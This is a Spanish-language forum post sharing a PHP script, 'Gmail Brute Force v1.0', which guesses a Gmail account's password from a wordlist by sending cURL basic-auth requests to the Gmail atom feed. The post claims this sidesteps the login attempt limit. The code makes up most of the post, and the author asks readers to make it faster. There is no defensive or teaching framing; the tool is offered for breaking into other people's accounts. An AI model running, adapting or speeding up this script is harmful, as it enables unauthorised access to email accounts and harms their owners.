Últimamente estoy interesado en el tema de Fuerza Bruta a Correos Electrónicos, el primero de mi lista es Gmail, así que he probado
algunas aplicaciones que realizan fuerza bruta como: Hydra, Brutus, Bruter entre otros.
Se sabe que Gmail solo te da 5 o 7 intentos para colocar tu passord, luego de eso te pide comprobaciones a través de códigos. así que de que
valdría hacer un ataque de Fuerza Bruta con un diccionario de 5 a 7 palabras por día (seria algo desesperante), pero aun no es el fin.
asi que para ese problema se podria utilizar cURL http://www.php.net/manual/es/intro.curl.php con la cual los intentos de 5 a 7 para probar un posible password desaparecen.
Gmail Brute Force V1.0, Creada por s3n4t00r de sec-w.com hace posible esto:
lo he testeado y va bien, pero como ya saben no todo es fácil, los correos de Gmail que están protegidos por la famosa seguridad de
2 o 3 pasos (no recuerdo bien XD) <la cual es o consiste en enviarte o llamarte y facilitarte un código de (06) dígitos al un numero de
celular para confirmar el acceso de la persona legitima>; No son blancos para esta aplicación.
asi que sin mas preambulos les dejo el codigo:
<?php
/*
author..............: s3n4t00r
home................: sec-w.com
Toolname............: Gmail Brute Force v1.0
Demonstration ......: http://youtu.be/QdEvoJdENBY
*/
set_time_limit(0);
print_r ("
#---------------------------------------->
# ToolName : Gmail Brute Force v1.0
#
# Programmed : s3n4t00r
#
# Home : Sec-w.com
#---------------------------------------->
\n\n");
if ($argc < 3)
{
print "\nUsage......: php $argv[0] <mail> <list pass>\n";
print "\nExample....: php $argv[0] [email protected] pass.txt \n";
die();
}
function sws_gmail($mail,$pass){
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, 'https://mail.google.com/mail/feed/atom');
curl_setopt($ch, CURLOPT_USERPWD, $mail.':'.$pass);
curl_setopt($ch, CURLOPT_HTTPAUTH, CURLAUTH_ANY);
curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 4);
$result = curl_exec($ch);
$returnCode = (int)curl_getinfo($ch, CURLINFO_HTTP_CODE);
return $returnCode;
}
list($mail, $list,) = array($argv[1], $argv[2]);
$lists = file($list);
foreach ($lists as $pass){
$gmail = sws_gmail($mail,trim($pass));
echo "[+]Testing -> ".$pass."\n";
if($gmail == '200'){
echo "[+]Password Cracked -> ".$pass;
die("\n");
}
}
die("# Failed");
?>
Creditos: s3n4t00r
Saludos.
PD: si alguno de ustedes sabrían como mejorar el código, especialmente en la parte de rapidez en las comprobaciones
de los password, seria algo genial.
Atte. Aryenal